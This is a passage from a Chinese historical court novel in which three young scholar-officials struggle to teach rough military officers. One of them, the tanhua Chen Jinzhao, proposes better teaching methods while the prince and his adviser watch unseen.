他们不答,他就一遍遍的问,从质问群将,到最后精准的抓住一人反复质问。惨遭逼问的就是那阿塔海,没办法,谁让他坐在最前列,且还让鹿衡玉对他印象深刻。殿外的陈今昭清楚的看见阿塔海怒发冲冠,满脸涨紫的死攥着硕大的拳头,好似下一刻就能冲着面前的人兜头砸去。 肉眼可见的,那虎背熊腰的阿塔海就要被逼急了。 陈今昭看得心惊肉跳,偏殿内的鹿衡玉魔怔般还在较劲的质问,“你说,你为何不开口!我离你够近罢,总不能连你也听不清罢!” 阿塔海终于忍无可忍吼了句:“别问了,俺不会!” 震天响的怒吼环绕偌大殿宇,殿顶都好似震了一震。 鹿衡玉短暂的耳鸣后,双眼喷出更猛烈的怒火! “读也不会?不是长嘴的事吗!”糊弄谁呢!糊弄谁呢! 可接下来,那阿塔海又进入了哑巴模式。 被逼急了,就鼓着牛眼来上句,当俺文曲星下凡。 再被逼急了,就双手猛地朝外一挥,可去你的罢! 眼见殿内的鹿衡玉脚步虚晃,已经掐人中要后仰了,陈今昭顾不上旁的赶紧急步入殿,连扶带拉的将他搀扶出来。 “你说你,怎么还较上劲了?再说,身为夫子教书育人,什么样学生遇不着,你要气怕都气不过来。”搀着体虚气短的鹿衡玉往配殿方向挪着,她看他脸色发白双手发颤,一副气狠了的模样,不由缓了声劝道,“行了行了,别气别气了。也不是多大的事,我刚在外头琢磨了番,好像有些知道问题出在哪了,一会咱们再好好商讨一番……”清润轻柔的嗓音由着飘忽的微风,时断时续的传来。 上书房殿前,姬寅礼抬手扯松下襟口,抬腿阔步迈过朱槛,织金蟒纹袍摆随步履疾掠而过。 配殿内,沈砚帮忙着将人搀扶到座上,推了盏茶过去让他喝口缓缓。 陈今昭捶下酸痛的胳膊,缓了口气,与沈砚说了大概情况后,又安慰了鹿衡玉几句。之后她便落座提笔濡墨,在宣纸上迅速书写的时候,还与两人解释了句,“我有些想法,一会与你们细说。” 公孙桓这会刚从文渊阁回来,身后还跟着几个各抱一摞奏本的年轻官员。知道西边的偏殿用以给武官们讲学来用,他遂吩咐这几人带着奏本去东偏殿,令他们仔细看完奏本后就列个章程出来。 待这些年轻官员们行礼退下,公孙桓方捋须颔首。 这些人一路跟随他与殿下来到皇都,如今能够在朝堂各部站稳脚跟,都是能入他眼的好苗子,历练一番可堪大用。 公孙桓进上书房后未见到殿下,不由将询问的目光看向阶下候着的刘顺。 刘顺小声解释:“殿下正在净房更衣,您且在这稍候。” 公孙桓颔首示意明白,虽有些疑惑刘顺为何未侍候殿下左右,但这毕竟不是什么大事,且也不该他来询问,这想法也就只在脑中一掠而过。 又过了会,殿下还未出来,公孙桓想起西配殿那新上任的三杰,遂就低声问了下今日那些武官们的进学情况。 刘顺的面色有些一言难尽,公孙桓见此就有些明了。 这三杰怕也压不住这群莽夫们。 “刚奴才随殿下要进殿那会,正瞧见那鹿榜眼似被气晕了过去,被陈探花给搀扶了出来。”公孙桓嘶声吸气有些牙疼,这群莽夫竟还变本加厉了,是当真不怕殿下将他们腿给抽断啊。又过了约莫两刻钟的时间,公孙桓方见他们殿下从屏风后踱步出来,鬓角尚带水汽,手持巾帕慢条斯理的擦拭双手。“殿下。”他忙躬身行礼,待对方叫起,就说起想要将江莫等人带在身边历练一番的打算,言语中并不掩饰对他们的看重。 姬寅礼撩袍落座,蟒袍下的膝盖微屈,随性慵懒的坐着。 “我听说江莫他们在各部衙门,亦做出了些政绩?” “是做出了政绩,不过是些微末小绩,不值当殿下提及。”说着,公孙桓又躬身请罪,“恕臣下心切,未候殿下王命而擅置他们于东偏殿见习政务,桓望乞恕罪。” 姬寅礼不甚在意的摆手:“小事而已,你愿费时海之,是他们的荣幸,亦是国朝之幸。毕竟,文佑你也是在为朝廷培养良才。” 他知公孙桓有私心,但他更信其私心之上是公心。 公孙桓闻言再次深拜,感动于殿下的宽容与信重。 激荡之余,愈发暗自提醒自己为公之心莫要偏移。这般,便难免想起西配殿的三杰来,那是殿下要扶持的良才,也算是代表了一方旧朝势力。 所谓一方独大不成,齐头并进方利朝纲。 公孙桓也希望见到三杰代表的旧朝贤才,能与江莫他们代表的西北新贵,来日能于朝堂上大放光彩,既能相互扶持,亦能相互钳制。 想到刘顺提及三杰首日授业受挫,他唯恐三人年轻气盛愤而懈职,惹殿下反感厌弃,或是生了退堂鼓一蹶不振,坏殿下良苦用心,遂就替那三杰说了几句好话。 “殿下,我听说西偏殿三杰那里,首日授业出师不利?不过桓倒觉得情有可原,毕竟初为人师,教授的学生又是阿塔海他们这些大老粗们,这群清风朗月的才子们,可不是要适应一段时曰。”公孙桓带着些玩笑的语气,“望殿下可莫要苛责他们过甚啊,年轻人嘛,总归要多多鼓舞策励的。” 姬寅礼端过茶碗,持碗盖轻抚两下茶汤,方徐缓道,“若些许磋磨都受不住,怕也难堪大用。” 公孙桓闻言倒也深以为然,未再多劝,只道,“或许他们只是一时受挫,毕竟都是良才美玉,指不定就能将殿下交代的差事办得尽善尽美。殿下,咱也不妨多看看,以观后效。” “说的也是。” 将空茶碗扔至托盘中,姬寅礼起身步下台阶,招呼公孙桓跟上,“且去看看他们是个什么章程。 公孙桓应过声赶紧跟上。 待两人身影消失在殿门处,双手捧着红木托盘的刘顺方稍稍直起腰,转身将手里托盘交给旁边宫监时,隐晦的目光在那茶碗底部的残汤上一扫而过。 “所以,授业的最终的目的不是为了彰显吾等学识几多渊博,而是让他们进学有所精益。” 西配殿内,陈今昭在指出问题所在后,又一针见血的总结了句。两旁已经平心静气的沈砚与鹿衡玉二人,提笔不时写写记记,若有疑问就会当场提出,而后由陈今昭解答,或由三人一齐商讨。 端过茶碗,吃上一口清茶润润喉,她按着宣纸上列出的条目顺序,接着道:“依照吾等目前情况,可依两方面来行授业。一为因材施教,二为学不跪等。因材施教为孔圣人所倡导,《论语先进》有云,''夫子循循然善诱人,博我以文,约我以礼,欲罢不能。,由此可见,学生万不可一概而论。所谓文以载道,雅俗共教,是咬文嚼字或是通俗易懂,吾等要看授业的学生…寓教于乐也必要贯穿两者之间,趣味二字亦是授业之要点,用得好,也不失为利器。以《三字经》开篇做例,设想一番,首段辅以孟母三迁的典故穿插讲述,学生会不会更明其理,授业会不会更易一层?沈兄你最擅引经据典,不妨想想,《说文解字》中可否予以运用…." 敞开的榻扇窗外,姬寅礼等人透过窗户望着殿内这一幕。 居中位置之人,轻言细语的提出授业问题所在以及改进意见,分条析理,言之有序,甚至一些新颖观点不禁令人耳目一新。若遇质疑也会耐心解答,亦会从善如流接受旁人好的建议,不时也挽袖提笔濡墨,在旁补充记录。 偶尔说到几处精妙见解时,那人清润的眼眸就会发亮,眉目间更是藏不住的神采飞扬,自信从容,令人只觉其真可谓是,少年不负凌云志。 姬寅礼隔窗望着,略有失神。 公孙桓捋须很是欣赏,“见解不俗。说来,三杰也算各有干秋,不枉担了个杰字盛名。” 说到这,他不由叹气,到底是江南风水养人啊。就他们西北那黄沙蔓延之地,恐难以养出如此钟灵毓秀之人。 且这殿中不仅有这神清骨秀的探花郎,还有另外两个文采、姿容皆惊艳的年轻官员,更是令人唏嘘,当真是一方水土养一方人。 兀自感叹完后,公孙桓方后知后觉的察觉殿下的异常沉默。转眼看去,却见他们殿下此刻正阖眸捏着眉心,面上神情似烦躁,又似极恼。 公孙桓心里咯噔一下。跟了殿下这么多年,他几乎还是头一回见殿下露出如斯躁郁的神情。 不由心中几度揣度,殿下可是遭遇了何等无解之难事。